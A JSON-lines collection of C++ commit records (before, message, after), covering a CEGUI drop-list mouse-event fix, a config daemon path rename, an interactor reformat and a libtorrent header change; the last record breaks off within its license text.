{"text":"<commit_before>\/************************************************************************\n\tfilename: \tCEGUIComboDropList.cpp\n\tcreated:\t13\/6\/2004\n\tauthor:\t\tPaul D Turner\n\t\n\tpurpose:\tImplements the Combobox Drop-List widget base class\n*************************************************************************\/\n\/*************************************************************************\n    Crazy Eddie's GUI System (http:\/\/crayzedsgui.sourceforge.net)\n    Copyright (C)2004 Paul D Turner (crayzed@users.sourceforge.net)\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n*************************************************************************\/\n#include \"elements\/CEGUIComboDropList.h\"\n#include \"elements\/CEGUIScrollbar.h\"\n\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/*************************************************************************\n\tConstants\n*************************************************************************\/\n\/\/ Event names\nconst utf8\tComboDropList::EventListSelectionAccepted[]\t\t= \"ListSelectionAccepted\";\n\n\n\/*************************************************************************\n\tConstructor for ComboDropList base class\n*************************************************************************\/\nComboDropList::ComboDropList(const String& type, const String& name) :\n\tListbox(type, name)\n{\n\td_autoArm = false;\n\td_armed = false;\n\n\taddComboDropListEvents();\n\thide();\n}\n\n\n\/*************************************************************************\n\tDestructor for ComboDropList base class\n*************************************************************************\/\nComboDropList::~ComboDropList(void)\n{\n}\n\n\n\/*************************************************************************\n\tInitialise the Window based object ready for use.\t\n*************************************************************************\/\nvoid ComboDropList::initialise(void)\n{\n\tListbox::initialise();\n\n\t\/\/ set-up scroll bars so they return capture to us.\n\td_vertScrollbar->setRestoreCapture(true);\n\td_horzScrollbar->setRestoreCapture(true);\n}\n\n\n\/*************************************************************************\n\tAdd drop-list specific events\n*************************************************************************\/\nvoid ComboDropList::addComboDropListEvents(void)\n{\n\taddEvent(EventListSelectionAccepted);\n}\n\n\n\/*************************************************************************\n\tHandler for when list selection is confirmed.\n*************************************************************************\/\nvoid ComboDropList::onListSelectionAccepted(WindowEventArgs& e)\n{\n\tfireEvent(EventListSelectionAccepted, e);\n}\n\n\n\/*************************************************************************\n\tHandler for mouse movement events\n*************************************************************************\/\nvoid ComboDropList::onMouseMove(MouseEventArgs& e)\n{\n\tListbox::onMouseMove(e);\n\n\t\/\/ if mouse is within our area (but not our children)\n\tif (isHit(e.position))\n\t{\n\t\tif (getChildAtPosition(e.position) == NULL)\n\t\t{\n\t\t\t\/\/ handle auto-arm\n\t\t\tif (d_autoArm)\n\t\t\t{\n\t\t\t\td_armed = true;\n\t\t\t}\n\n\t\t\tif (d_armed)\n\t\t\t{\n\t\t\t\t\/\/\n\t\t\t\t\/\/ Convert mouse position to absolute window pixels\n\t\t\t\t\/\/\n\t\t\t\tPoint localPos(screenToWindow(e.position));\n\n\t\t\t\tif (getMetricsMode() == Relative)\n\t\t\t\t{\n\t\t\t\t\tlocalPos = relativeToAbsolute(localPos);\n\t\t\t\t}\n\n\t\t\t\t\/\/ check for an item under the mouse\n\t\t\t\tListboxItem* selItem = getItemAtPoint(localPos);\n\n\t\t\t\t\/\/ if an item is under mouse, select it\n\t\t\t\tif (selItem != NULL)\n\t\t\t\t{\n\t\t\t\t\tsetItemSelectState(selItem, true);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tclearAllSelections();\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\te.handled = true;\n\t}\n\t\/\/ not within the list area\n\telse\n\t{\n\t\t\/\/ if left mouse button is down, clear any selection\n\t\tif (e.sysKeys & LeftMouse)\n\t\t{\n\t\t\tclearAllSelections();\n\t\t}\n\n\t}\n\n}\n\n\n\/*************************************************************************\n\tHandler for mouse button pressed events\n*************************************************************************\/\nvoid ComboDropList::onMouseButtonDown(MouseEventArgs& e)\n{\n\tListbox::onMouseButtonDown(e);\n\n\tif (e.button == LeftButton)\n\t{\n\t\tif (!isHit(e.position))\n\t\t{\n\t\t\tclearAllSelections();\n\t\t\treleaseInput();\n\t\t}\n\t\telse\n\t\t{\n\t\t\td_armed = true;\n\t\t}\n\n\t\te.handled = true;\n\t}\n\n}\n\n\n\/*************************************************************************\n\tHandler for mouse button release events\n*************************************************************************\/\nvoid ComboDropList::onMouseButtonUp(MouseEventArgs& e)\n{\n\tListbox::onMouseButtonUp(e);\n\n\tif (e.button == LeftButton)\n\t{\n\t\tif (d_armed)\n\t\t{\n\t\t\treleaseInput();\n\n\t\t\t\/\/ if something was selected, confirm that selection.\n\t\t\tif (getSelectedCount() > 0)\n\t\t\t{\n\t\t\t\tWindowEventArgs args(this);\n\t\t\t\tonListSelectionAccepted(args);\n\t\t\t}\n\n\t\t}\n\t\t\/\/ if we are not already armed, in response to a left button up event, we auto-arm.\n\t\telse\n\t\t{\n\t\t\td_armed = true;\n\t\t}\n\n\t\te.handled = true;\n\t}\n\n}\n\n\n\/*************************************************************************\n\tHandler for when input capture is lost\n*************************************************************************\/\nvoid ComboDropList::onCaptureLost(WindowEventArgs& e)\n{\n\tListbox::onCaptureLost(e);\n\td_armed = false;\n\thide();\n\te.handled = true;\n}\n\n\n\/*************************************************************************\n\tHandler for when window is activated\n*************************************************************************\/\nvoid ComboDropList::onActivated(ActivationEventArgs& e)\n{\n\tListbox::onActivated(e);\n}\n\n} \/\/ End of  CEGUI namespace section\n<commit_msg>Bug Fix: onMouseButonUp was not testing if position of mouse was over child windows, resulting in incorrect behaviour.<commit_after>\/************************************************************************\n\tfilename: \tCEGUIComboDropList.cpp\n\tcreated:\t13\/6\/2004\n\tauthor:\t\tPaul D Turner\n\t\n\tpurpose:\tImplements the Combobox Drop-List widget base class\n*************************************************************************\/\n\/*************************************************************************\n    Crazy Eddie's GUI System (http:\/\/crayzedsgui.sourceforge.net)\n    Copyright (C)2004 Paul D Turner (crayzed@users.sourceforge.net)\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n*************************************************************************\/\n#include \"elements\/CEGUIComboDropList.h\"\n#include \"elements\/CEGUIScrollbar.h\"\n\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/*************************************************************************\n\tConstants\n*************************************************************************\/\n\/\/ Event names\nconst utf8\tComboDropList::EventListSelectionAccepted[]\t\t= \"ListSelectionAccepted\";\n\n\n\/*************************************************************************\n\tConstructor for ComboDropList base class\n*************************************************************************\/\nComboDropList::ComboDropList(const String& type, const String& name) :\n\tListbox(type, name)\n{\n\td_autoArm = false;\n\td_armed = false;\n\n\taddComboDropListEvents();\n\thide();\n}\n\n\n\/*************************************************************************\n\tDestructor for ComboDropList base class\n*************************************************************************\/\nComboDropList::~ComboDropList(void)\n{\n}\n\n\n\/*************************************************************************\n\tInitialise the Window based object ready for use.\t\n*************************************************************************\/\nvoid ComboDropList::initialise(void)\n{\n\tListbox::initialise();\n\n\t\/\/ set-up scroll bars so they return capture to us.\n\td_vertScrollbar->setRestoreCapture(true);\n\td_horzScrollbar->setRestoreCapture(true);\n}\n\n\n\/*************************************************************************\n\tAdd drop-list specific events\n*************************************************************************\/\nvoid ComboDropList::addComboDropListEvents(void)\n{\n\taddEvent(EventListSelectionAccepted);\n}\n\n\n\/*************************************************************************\n\tHandler for when list selection is confirmed.\n*************************************************************************\/\nvoid ComboDropList::onListSelectionAccepted(WindowEventArgs& e)\n{\n\tfireEvent(EventListSelectionAccepted, e);\n}\n\n\n\/*************************************************************************\n\tHandler for mouse movement events\n*************************************************************************\/\nvoid ComboDropList::onMouseMove(MouseEventArgs& e)\n{\n\tListbox::onMouseMove(e);\n\n\t\/\/ if mouse is within our area (but not our children)\n\tif (isHit(e.position))\n\t{\n\t\tif (getChildAtPosition(e.position) == NULL)\n\t\t{\n\t\t\t\/\/ handle auto-arm\n\t\t\tif (d_autoArm)\n\t\t\t{\n\t\t\t\td_armed = true;\n\t\t\t}\n\n\t\t\tif (d_armed)\n\t\t\t{\n\t\t\t\t\/\/\n\t\t\t\t\/\/ Convert mouse position to absolute window pixels\n\t\t\t\t\/\/\n\t\t\t\tPoint localPos(screenToWindow(e.position));\n\n\t\t\t\tif (getMetricsMode() == Relative)\n\t\t\t\t{\n\t\t\t\t\tlocalPos = relativeToAbsolute(localPos);\n\t\t\t\t}\n\n\t\t\t\t\/\/ check for an item under the mouse\n\t\t\t\tListboxItem* selItem = getItemAtPoint(localPos);\n\n\t\t\t\t\/\/ if an item is under mouse, select it\n\t\t\t\tif (selItem != NULL)\n\t\t\t\t{\n\t\t\t\t\tsetItemSelectState(selItem, true);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tclearAllSelections();\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\te.handled = true;\n\t}\n\t\/\/ not within the list area\n\telse\n\t{\n\t\t\/\/ if left mouse button is down, clear any selection\n\t\tif (e.sysKeys & LeftMouse)\n\t\t{\n\t\t\tclearAllSelections();\n\t\t}\n\n\t}\n\n}\n\n\n\/*************************************************************************\n\tHandler for mouse button pressed events\n*************************************************************************\/\nvoid ComboDropList::onMouseButtonDown(MouseEventArgs& e)\n{\n\tListbox::onMouseButtonDown(e);\n\n\tif (e.button == LeftButton)\n\t{\n\t\tif (!isHit(e.position))\n\t\t{\n\t\t\tclearAllSelections();\n\t\t\treleaseInput();\n\t\t}\n\t\telse\n\t\t{\n\t\t\td_armed = true;\n\t\t}\n\n\t\te.handled = true;\n\t}\n\n}\n\n\n\/*************************************************************************\n\tHandler for mouse button release events\n*************************************************************************\/\nvoid ComboDropList::onMouseButtonUp(MouseEventArgs& e)\n{\n\tListbox::onMouseButtonUp(e);\n\n\tif (e.button == LeftButton)\n\t{\n\t\tif (d_armed && (getChildAtPosition(e.position) == NULL))\n\t\t{\n\t\t\treleaseInput();\n\n\t\t\t\/\/ if something was selected, confirm that selection.\n\t\t\tif (getSelectedCount() > 0)\n\t\t\t{\n\t\t\t\tWindowEventArgs args(this);\n\t\t\t\tonListSelectionAccepted(args);\n\t\t\t}\n\n\t\t}\n\t\t\/\/ if we are not already armed, in response to a left button up event, we auto-arm.\n\t\telse\n\t\t{\n\t\t\td_armed = true;\n\t\t}\n\n\t\te.handled = true;\n\t}\n\n}\n\n\n\/*************************************************************************\n\tHandler for when input capture is lost\n*************************************************************************\/\nvoid ComboDropList::onCaptureLost(WindowEventArgs& e)\n{\n\tListbox::onCaptureLost(e);\n\td_armed = false;\n\thide();\n\te.handled = true;\n}\n\n\n\/*************************************************************************\n\tHandler for when window is activated\n*************************************************************************\/\nvoid ComboDropList::onActivated(ActivationEventArgs& e)\n{\n\tListbox::onActivated(e);\n}\n\n} \/\/ End of  CEGUI namespace section\n<|endoftext|>"}
{"text":"<commit_before>#include \"configcore.h\"\n\n\/\/ PDTK\n#include <cxxutils\/syslogstream.h>\n\n#ifndef MCFS_PATH\n#define MCFS_PATH               \"\/mc\"\n#endif\n\n#ifndef CONFIG_USERNAME\n#define CONFIG_USERNAME         \"config\"\n#endif\n\n#ifdef ANONYMOUS_SOCKET\n#undef ANONYMOUS_SOCKET\n#endif\n#define ANONYMOUS_SOCKET        \"\\0\"\n\n#ifndef CONFIG_IO_SOCKET\n#define CONFIG_IO_SOCKET        MCFS_PATH \"\/\" CONFIG_USERNAME \"\/io\"\n#endif\n\n#ifndef CONFIG_DIRECTOR_SOCKET\n#define CONFIG_DIRECTOR_SOCKET  MCFS_PATH \"\/\" CONFIG_USERNAME \"\/director\"\n#endif\n\nConfigCore::ConfigCore(void)\n{\n  if(m_config_server.bind(CONFIG_IO_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to socket file \" << CONFIG_IO_SOCKET << posix::eom;\n  else if(m_config_server.bind(ANONYMOUS_SOCKET CONFIG_IO_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to anonymous socket \" << CONFIG_IO_SOCKET << posix::eom;\n  else\n    posix::syslog << posix::priority::error << \"Unable to bind Config daemon to \" << CONFIG_IO_SOCKET << posix::eom;\n\n  if(m_director_server.bind(CONFIG_DIRECTOR_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to \" << CONFIG_DIRECTOR_SOCKET << posix::eom;\n  else if(m_director_server.bind(ANONYMOUS_SOCKET CONFIG_DIRECTOR_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to anonymous socket \" << CONFIG_DIRECTOR_SOCKET << posix::eom;\n  else\n    posix::syslog << posix::priority::error << \"Unable to bind Config daemon to \" << CONFIG_DIRECTOR_SOCKET << posix::eom;\n}\n<commit_msg>component rename<commit_after>#include \"configcore.h\"\n\n\/\/ PDTK\n#include <cxxutils\/syslogstream.h>\n\n#ifndef SCFS_PATH\n#define SCFS_PATH               \"\/svc\"\n#endif\n\n#ifndef CONFIG_USERNAME\n#define CONFIG_USERNAME         \"config\"\n#endif\n\n#ifdef ANONYMOUS_SOCKET\n#undef ANONYMOUS_SOCKET\n#endif\n#define ANONYMOUS_SOCKET        \"\\0\"\n\n#ifndef CONFIG_IO_SOCKET\n#define CONFIG_IO_SOCKET        SCFS_PATH \"\/\" CONFIG_USERNAME \"\/io\"\n#endif\n\n#ifndef CONFIG_DIRECTOR_SOCKET\n#define CONFIG_DIRECTOR_SOCKET  SCFS_PATH \"\/\" CONFIG_USERNAME \"\/director\"\n#endif\n\nConfigCore::ConfigCore(void)\n{\n  if(m_config_server.bind(CONFIG_IO_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to socket file \" << CONFIG_IO_SOCKET << posix::eom;\n  else if(m_config_server.bind(ANONYMOUS_SOCKET CONFIG_IO_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to anonymous socket \" << CONFIG_IO_SOCKET << posix::eom;\n  else\n    posix::syslog << posix::priority::error << \"Unable to bind Config daemon to \" << CONFIG_IO_SOCKET << posix::eom;\n\n  if(m_director_server.bind(CONFIG_DIRECTOR_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to \" << CONFIG_DIRECTOR_SOCKET << posix::eom;\n  else if(m_director_server.bind(ANONYMOUS_SOCKET CONFIG_DIRECTOR_SOCKET))\n    posix::syslog << posix::priority::info << \"Config daemon bound to anonymous socket \" << CONFIG_DIRECTOR_SOCKET << posix::eom;\n  else\n    posix::syslog << posix::priority::error << \"Unable to bind Config daemon to \" << CONFIG_DIRECTOR_SOCKET << posix::eom;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"testlib.h\"\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n    setName(\"Interactor A+B\");\r\n    registerInteraction(argc, argv);\r\n    \r\n    \/\/ reads number of queries from test (input) file\r\n    int n = inf.readInt();\r\n    for (int i = 0; i < n; i++)\r\n    {\r\n        \/\/ reads query from test (input) file\r\n        int a = inf.readInt();\r\n        int b = inf.readInt();\r\n\r\n        \/\/ writes query to the solution, endl makes flush\r\n        cout << a << \" \" << b << endl;\r\n\r\n        \/\/ writes output file to be verified by checker later\r\n        tout << ouf.readInt() << endl;\r\n    }\r\n\r\n    \/\/ just message\r\n    quitf(_ok, \"%d queries processed\", n);\r\n}\r\n<commit_msg>Formatting interactors<commit_after>#include \"testlib.h\"\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint main(int argc, char* argv[]) {\r\n    setName(\"Interactor A+B\");\r\n    registerInteraction(argc, argv);\r\n    \r\n    \/\/ reads number of queries from test (input) file\r\n    int n = inf.readInt();\r\n    for (int i = 0; i < n; i++) {\r\n        \/\/ reads query from test (input) file\r\n        int a = inf.readInt();\r\n        int b = inf.readInt();\r\n\r\n        \/\/ writes query to the solution, endl makes flush\r\n        cout << a << \" \" << b << endl;\r\n\r\n        \/\/ writes output file to be verified by checker later\r\n        tout << ouf.readInt() << endl;\r\n    }\r\n\r\n    \/\/ just message\r\n    quitf(_ok, \"%d queries processed\", n);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>tpce: caught a memory leak source<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_TORRENT_HANDLE_HPP_INCLUDED\n#define TORRENT_TORRENT_HANDLE_HPP_INCLUDED\n\n#include <vector>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/peer_id.hpp\"\n#include \"libtorrent\/peer_info.hpp\"\n#include \"libtorrent\/piece_picker.hpp\"\n#include \"libtorrent\/torrent_info.hpp\"\n#include \"libtorrent\/config.hpp\"\n\nnamespace libtorrent\n{\n\tnamespace aux\n\t{\n\t\tstruct session_impl;\n\t\tstruct checker_impl;\n\t}\n\n\tstruct TORRENT_EXPORT duplicate_torrent: std::exception\n\t{\n\t\tvirtual const char* what() const throw()\n\t\t{ return \"torrent already exists in session\"; }\n\t};\n\n\tstruct TORRENT_EXPORT invalid_handle: std::exception\n\t{\n\t\tvirtual const char* what() const throw()\n\t\t{ return \"invalid torrent handle used\"; }\n\t};\n\n\tstruct TORRENT_EXPORT torrent_status\n\t{\n\t\ttorrent_status()\n\t\t\t: state(queued_for_checking)\n\t\t\t, paused(false)\n\t\t\t, progress(0.f)\n\t\t\t, total_download(0)\n\t\t\t, total_upload(0)\n\t\t\t, total_payload_download(0)\n\t\t\t, total_payload_upload(0)\n\t\t\t, total_failed_bytes(0)\n\t\t\t, total_redundant_bytes(0)\n\t\t\t, download_rate(0)\n\t\t\t, upload_rate(0)\n\t\t\t, download_payload_rate(0)\n\t\t\t, upload_payload_rate(0)\n\t\t\t, num_peers(0)\n\t\t\t, num_complete(-1)\n\t\t\t, num_incomplete(-1)\n\t\t\t, pieces(0)\n\t\t\t, num_pieces(0)\n\t\t\t, total_done(0)\n\t\t\t, total_wanted_done(0)\n\t\t\t, total_wanted(0)\n\t\t\t, num_seeds(0)\n\t\t\t, distributed_copies(0.f)\n\t\t\t, block_size(0)\n\t\t{}\n\n\t\tenum state_t\n\t\t{\n\t\t\tqueued_for_checking,\n\t\t\tchecking_files,\n\t\t\tconnecting_to_tracker,\n\t\t\tdownloading_metadata,\n\t\t\tdownloading,\n\t\t\tfinished,\n\t\t\tseeding,\n\t\t\tallocating\n\t\t};\n\t\t\n\t\tstate_t state;\n\t\tbool paused;\n\t\tfloat progress;\n\t\tboost::posix_time::time_duration next_announce;\n\t\tboost::posix_time::time_duration announce_interval;\n\n\t\tstd::string current_tracker;\n\n\t\t\/\/ transferred this session!\n\t\t\/\/ total, payload plus protocol\n\t\tsize_type total_download;\n\t\tsize_type total_upload;\n\n\t\t\/\/ payload only\n\t\tsize_type total_payload_download;\n\t\tsize_type total_payload_upload;\n\n\t\t\/\/ the amount of payload bytes that\n\t\t\/\/ has failed their hash test\n\t\tsize_type total_failed_bytes;\n\n\t\t\/\/ the number of payload bytes that\n\t\t\/\/ has been received redundantly.\n\t\tsize_type total_redundant_bytes;\n\n\t\t\/\/ current transfer rate\n\t\t\/\/ payload plus protocol\n\t\tfloat download_rate;\n\t\tfloat upload_rate;\n\n\t\t\/\/ the rate of payload that is\n\t\t\/\/ sent and received\n\t\tfloat download_payload_rate;\n\t\tfloat upload_payload_rate;\n\n\t\t\/\/ the number of peers this torrent\n\t\t\/\/ is connected to.\n\t\tint num_peers;\n\n\t\t\/\/ if the tracker sends scrape info in its\n\t\t\/\/ announce reply, these fields will be\n\t\t\/\/ set to the total number of peers that\n\t\t\/\/ have the whole file and the total number\n\t\t\/\/ of peers that are still downloading\n\t\tint num_complete;\n\t\tint num_incomplete;\n\n\t\tconst std::vector<bool>* pieces;\n\t\t\n\t\t\/\/ this is the number of pieces the client has\n\t\t\/\/ downloaded. it is equal to:\n\t\t\/\/ std::accumulate(pieces->begin(), pieces->end());\n\t\tint num_pieces;\n\n\t\t\/\/ the number of bytes of the file we have\n\t\t\/\/ including pieces that may have been filtered\n\t\t\/\/ after we downloaded them\n\t\tsize_type total_done;\n\n\t\t\/\/ the number of bytes we have of those that we\n\t\t\/\/ want. i.e. not counting bytes from pieces that\n\t\t\/\/ are filtered as not wanted.\n\t\tsize_type total_wanted_done;\n\n\t\t\/\/ the total number of bytes we want to download\n\t\t\/\/ this may be smaller than the total torrent size\n\t\t\/\/ in case any pieces are filtered as not wanted\n\t\tsize_type total_wanted;\n\n\t\t\/\/ the number of peers this torrent is connected to\n\t\t\/\/ that are seeding.\n\t\tint num_seeds;\n\n\t\t\/\/ the number of distributed copies of the file.\n\t\t\/\/ note that one copy may be spread out among many peers.\n\t\t\/\/\n\t\t\/\/ the whole number part tells how many copies\n\t\t\/\/   there are of the rarest piece(s)\n\t\t\/\/\n\t\t\/\/ the fractional part tells the fraction of pieces that\n\t\t\/\/   have more copies than the rarest piece(s).\n\t\tfloat distributed_copies;\n\n\t\t\/\/ the block size that is used in this torrent. i.e.\n\t\t\/\/ the number of bytes each piece request asks for\n\t\t\/\/ and each bit in the download queue bitfield represents\n\t\tint block_size;\n\t};\n\n\tstruct TORRENT_EXPORT partial_piece_info\n\t{\n\t\tenum { max_blocks_per_piece = piece_picker::max_blocks_per_piece };\n\t\tint piece_index;\n\t\tint blocks_in_piece;\n\t\tstd::bitset<max_blocks_per_piece> requested_blocks;\n\t\tstd::bitset<max_blocks_per_piece> finished_blocks;\n\t\ttcp::endpoint peer[max_blocks_per_piece];\n\t\tint num_downloads[max_blocks_per_piece];\n\t};\n\n\tstruct TORRENT_EXPORT torrent_handle\n\t{\n\t\tfriend class invariant_access;\n\t\tfriend class aux::session_impl;\n\t\tfriend class torrent;\n\n\t\ttorrent_handle(): m_ses(0), m_chk(0) {}\n\n\t\tvoid get_peer_info(std::vector<peer_info>& v) const;\n\t\tbool send_chat_message(tcp::endpoint ip, std::string message) const;\n\t\ttorrent_status status() const;\n\t\tvoid get_download_queue(std::vector<partial_piece_info>& queue) const;\n\t\t\n\t\t\/\/ fills the specified vector with the download progress [0, 1]\n\t\t\/\/ of each file in the torrent. The files are ordered as in\n\t\t\/\/ the torrent_info.\n\t\tvoid file_progress(std::vector<float>& progress);\n\n\t\tstd::vector<announce_entry> const& trackers() const;\n\t\tvoid replace_trackers(std::vector<announce_entry> const&) const;\n\n\t\tvoid add_url_seed(std::string const& url);\n\n\t\tbool has_metadata() const;\n\t\tconst torrent_info& get_torrent_info() const;\n\t\tbool is_valid() const;\n\n\t\tbool is_seed() const;\n\t\tbool is_paused() const;\n\t\tvoid pause() const;\n\t\tvoid resume() const;\n\n\t\t\/\/ marks the piece with the given index as filtered\n\t\t\/\/ it will not be downloaded\n\t\tvoid filter_piece(int index, bool filter) const;\n\t\tvoid filter_pieces(std::vector<bool> const& pieces) const;\n\t\tbool is_piece_filtered(int index) const;\n\t\tstd::vector<bool> filtered_pieces() const;\n\n\t\t\/\/ marks the file with the given index as filtered\n\t\t\/\/ it will not be downloaded\n\t\tvoid filter_files(std::vector<bool> const& files) const;\n\n\t\t\/\/ set the interface to bind outgoing connections\n\t\t\/\/ to.\n\t\tvoid use_interface(const char* net_interface) const;\n\n\t\tentry write_resume_data() const;\n\n\t\t\/\/ kind of similar to get_torrent_info() but this\n\t\t\/\/ is lower level, returning the exact info-part of\n\t\t\/\/ the .torrent file. When hashed, this buffer\n\t\t\/\/ will produce the info hash. The reference is valid\n\t\t\/\/ only as long as the torrent is running.\n\t\tstd::vector<char> const& metadata() const;\n\n\t\t\/\/ forces this torrent to reannounce\n\t\t\/\/ (make a rerequest from the tracker)\n\t\tvoid force_reannounce() const;\n\n\t\t\/\/ forces a reannounce in the specified amount of time.\n\t\t\/\/ This overrides the default announce interval, and no\n\t\t\/\/ announce will take place until the given time has\n\t\t\/\/ timed out.\n\t\tvoid force_reannounce(boost::posix_time::time_duration) const;\n\n\t\t\/\/ TODO: add a feature where the user can tell the torrent\n\t\t\/\/ to finish all pieces currently in the pipeline, and then\n\t\t\/\/ abort the torrent.\n\n\t\tvoid set_upload_limit(int limit) const;\n\t\tvoid set_download_limit(int limit) const;\n\t\tvoid set_sequenced_download_threshold(int threshold) const;\n\n\t\tvoid set_peer_upload_limit(tcp::endpoint ip, int limit) const;\n\t\tvoid set_peer_download_limit(tcp::endpoint ip, int limit) const;\n\n\t\t\/\/ manually connect a peer\n\t\tvoid connect_peer(tcp::endpoint const& adr) const;\n\n\t\t\/\/ valid ratios are 0 (infinite ratio) or [ 1.0 , inf )\n\t\t\/\/ the ratio is uploaded \/ downloaded. less than 1 is not allowed\n\t\tvoid set_ratio(float up_down_ratio) const;\n\n\t\tboost::filesystem::path save_path() const;\n\n\t\t\/\/ -1 means unlimited unchokes\n\t\tvoid set_max_uploads(int max_uploads) const;\n\n\t\t\/\/ -1 means unlimited connections\n\t\tvoid set_max_connections(int max_connections) const;\n\n\t\tvoid set_tracker_login(std::string const& name\n\t\t\t, std::string const& password) const;\n\n\t\t\/\/ post condition: save_path() == save_path if true is returned\n\t\tbool move_storage(boost::filesystem::path const& save_path) const;\n\n\t\tconst sha1_hash& info_hash() const\n\t\t{ return m_info_hash; }\n\n\t\tbool operator==(const torrent_handle& h) const\n\t\t{ return m_info_hash == h.m_info_hash; }\n\n\t\tbool operator!=(const torrent_handle& h) const\n\t\t{ return m_info_hash != h.m_info_hash; }\n\n\t\tbool operator<(const torrent_handle& h) const\n\t\t{ return m_info_hash < h.m_info_hash; }\n\n\tprivate:\n\n\t\ttorrent_handle(aux::session_impl* s,\n\t\t\taux::checker_impl* c,\n\t\t\tconst sha1_hash& h)\n\t\t\t: m_ses(s)\n\t\t\t, m_chk(c)\n\t\t\t, m_info_hash(h)\n\t\t{\n\t\t\tassert(m_ses != 0);\n\t\t}\n\n#ifndef NDEBUG\n\t\tvoid check_invariant() const;\n#endif\n\n\t\taux::session_impl* m_ses;\n\t\taux::checker_impl* m_chk;\n\t\tsha1_hash m_info_hash;\n\n\t};\n\n\n}\n\n#endif \/\/ TORRENT_TORRENT_HANDLE_HPP_INCLUDED\n<commit_msg>fixed warning on msvc8<commit_after>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 